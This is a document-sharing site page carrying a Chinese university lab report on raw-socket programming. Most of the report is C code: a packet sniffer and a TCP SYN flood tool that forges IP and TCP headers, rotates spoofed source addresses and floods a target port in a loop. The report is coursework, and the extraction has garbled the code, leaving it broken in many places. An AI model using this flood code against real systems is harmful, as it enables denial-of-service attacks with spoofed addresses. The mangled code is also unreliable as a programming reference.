收藏 分享(赏)

信息安全实践第十一次作业 原始套接字、.doc

上传人:精品资料 文档编号:10334485 上传时间:2019-10-31 格式:DOC 页数:16 大小:115KB
下载 相关 举报
信息安全实践第十一次作业 原始套接字、.doc_第1页
第1页 / 共16页
信息安全实践第十一次作业 原始套接字、.doc_第2页
第2页 / 共16页
信息安全实践第十一次作业 原始套接字、.doc_第3页
第3页 / 共16页
信息安全实践第十一次作业 原始套接字、.doc_第4页
第4页 / 共16页
信息安全实践第十一次作业 原始套接字、.doc_第5页
第5页 / 共16页
点击查看更多>>
资源描述

1、四 川 大 学 计 算 机 学 院、软 件 学 院实 验 报 告 学号: 姓名:专业:_软件工程_ 班级: 第 12 周 课程名称 信息安全产品开发实践 实验课时 4实验项目 原始套接字 实验时间 2013.11.29实验目的 利用原始套接字实现一个 TCP SYS flooding 程序实验环境 虚拟机 Red Hat Enterprise Linux-VMware Workstation 实验内容(算法、程序、步骤和方法)由于我们在这次实验中只需要对 IP 和 TCP 头部进行修改,所以使用的是网络层原始套接字。这个实验考验的是对 IP 和 TCP 报头结构体的了解,其实在之前的实验我们就

2、已经有所接触,在嗅探器中我们就是把接收到的数据包进行分解,分别先后解封 IP 头部,再解封 TCP 头部(越底层的数据越放在前面)。这一部分知识可以参考在老师的 demo 程序 packet.c,那是一个使用链路层套接字的嗅探器,不过在输出ip 地址那部分需要改动一下才能正常运行。下面把修改后的 packet 展示一下:#include #include #include #include #include #include #include #include #include #include int main(int argc, char *argv) int sock, n;char b

3、uffer2048;struct ethhdr *eth;struct iphdr *iph;struct tcphdr *tcph;if (0(sock=socket(PF_PACKET, SOCK_RAW, htons(ETH_P_IP) perror(“socket“);exit(1);int num = 1;while (1) printf(“=n“);/注意:在这之前我没有调用 bind 函数,原因是什么呢?n = recvfrom(sock,buffer,2048,0,NULL,NULL);printf(“number: %d “,num+);printf(“%d bytes re

4、adn“,n);/接收到的数据帧头 6 字节是目的 MAC 地址,紧接着 6 字节是源 MAC地址。eth=(struct ethhdr*)buffer;printf(“Dest MAC addr:%02x:%02x:%02x:%02x:%02x:%02xn“,eth-h_dest0,eth-h_dest1,eth-h_dest2,eth-h_dest3,eth-h_dest4,eth-h_dest5);printf(“Source MAC addr:%02x:%02x:%02x:%02x:%02x:%02xn“,eth-h_source0,eth-h_source1,eth-h_source

5、2,eth-h_source3,eth-h_source4,eth-h_source5);iph=(struct iphdr*)(buffer+sizeof(struct ethhdr);/我们只对 IPV4 且没有选项字段的 IPv4 报文感兴趣/ if(iph-version =4 char addr_p2INET_ADDRSTRLEN;inet_ntop(AF_INET,inet_ntop(AF_INET,printf(“Source host:%sn“,addr_p1);printf(“Dest host:%sn“,addr_p2);if(iph-protocol=6) /TCP tc

6、ph=(struct tcphdr*)(buffer+sizeof(struct ether_header)+sizeof(struct ip);printf(“Sourport:%dn“,ntohs(tcph-source);printf(“Destport :%dn“,ntohs(tcph-dest);这里主要修改的地方是:1、原代码问题:在输出 ip 那部分需要利用 inet_ntop 函数,不然程序运行出问题。2、加入了 TCP 头部解封,输出源端口和目的端口,当然还要把相应的头文件加入。 其实只要把上面这程序和这次的 syn flood 结合起来再做点修改就可以做出一个 syn 端口

7、扫描器。(接上)实验内容(算法、程序、步骤和方法)而这次的 syn flood 程序中做的就是和嗅探器相反的工作:先封装 IP 头部,再封装 TCP 头部。 程序的主要流程就是:构造 IP 头部构造 TCP 头部发送数据。这是一个循环的过程(不停发送 syn 攻击),里面需要注意:1、TCP 头部中 syn 要标记为 1,其它皆为 0。2、每循环一次,伪装的源 IP 地址就要改一次,那 IP 头部的校验和就要重新计算,当底层的报头有所改变(IP 头部),那上层的头部TCP 头部的校验和同样要重新计算。有关检验部分,在运行 syn flood 程序之前,必须先运行一个服务器程序来作为攻击目标。关

8、于观测端口连接情况,老师提供的是 netstat -tn,如果想看得更加方便的话,可以使用netstat -tn | grep “:888”这样来监视某个端口。#include /printf #include /memset #include /for exit(0); #include #include /For errno - the error number #include #include /hostend #include #include /Provides declarations for tcp header #include /Provides declarations

9、for ip header unsigned short csum(unsigned short * , int ); struct pseudo_header /needed for checksum calculation unsigned int source_address; unsigned int dest_address; unsigned char placeholder; unsigned char protocol; unsigned short tcp_length; struct tcphdr tcp; ; struct in_addr dest_ip; int mai

10、n(int argc, char *argv) /Create a raw socket int s = socket (AF_INET, SOCK_RAW , IPPROTO_TCP); if(s ihl = 5; iph-version = 4; iph-tos = 0; iph-tot_len = sizeof (struct ip) + sizeof (struct tcphdr); iph-id = htons (54321); /Id of this packet iph-frag_off = htons(16384); iph-ttl = 64; iph-protocol = I

11、PPROTO_TCP; iph-check = 0; /Set to 0 before calculating checksum iph-saddr = sour_ip.s_addr; /Spoof the source ip address iph-daddr = dest_ip.s_addr; iph-check = csum (unsigned short *) datagram, iph-tot_len 1); /TCP Header tcph-source = htons ( source_port ); tcph-dest = htons (atoi(argv2); tcph-se

12、q = htonl(1105024978); tcph-ack_seq = 0; tcph-doff = sizeof(struct tcphdr) / 4; /Size of tcp header tcph-fin=0; tcph-syn=1; tcph-rst=0; tcph-psh=0; tcph-ack=0; tcph-urg=0; tcph-window = htons ( 14600 ); / maximum allowed window size tcph-check = 0; /if you set a checksum to zero, your kernels IP sta

13、ck should fill in the correct checksum during transmission tcph-urg_ptr = 0; tcph-check = 0; / if you set a checksum to zero, your kernels IP stack should fill in the correct checksum during transmission psh.source_address = sour_ip.s_addr; psh.dest_address = dest.sin_addr.s_addr; psh.placeholder =

14、0; psh.protocol = IPPROTO_TCP; psh.tcp_length = htons( sizeof(struct tcphdr) ); memcpy( tcph-check = csum( (unsigned short*) dest.sin_family = AF_INET; dest.sin_addr.s_addr = dest_ip.s_addr; /Send the packet if ( sendto (s, datagram , sizeof(struct iphdr) + sizeof(struct tcphdr) , 0 , (struct sockad

15、dr *) nbytes-=2; if(nbytes=1) oddbyte=0; *(u_char*) sum+=oddbyte; sum = (sum16)+(sum sum = sum + (sum16); answer=(short)sum; return(answer); 下面让我们看一下运行效果:运行 syn flood 程序,使用不同的伪装 IP 攻击:然后检验结果:数据记录和计算 结 论(结 果) 通过小 结 这次实验虽然不难,但是比较重要,如果只是单纯得制作普通的网络程序的话,一般的 socket 编程足以完成,但是如果想深入探究网络服务本身,想利用 rfc 的规则制造底层的扫描器、嗅探器、防火墙、网络攻击等等,学习网络底层的编程知识很重要。指导老师评 议 成绩评定: 指导教师签名:

展开阅读全文
相关资源
猜你喜欢
相关搜索

当前位置:首页 > 企业管理 > 管理学资料

本站链接:文库   一言   我酷   合作


客服QQ:2549714901微博号:道客多多官方知乎号:道客多多

经营许可证编号: 粤ICP备2021046453号世界地图

道客多多©版权所有2020-2025营业执照举报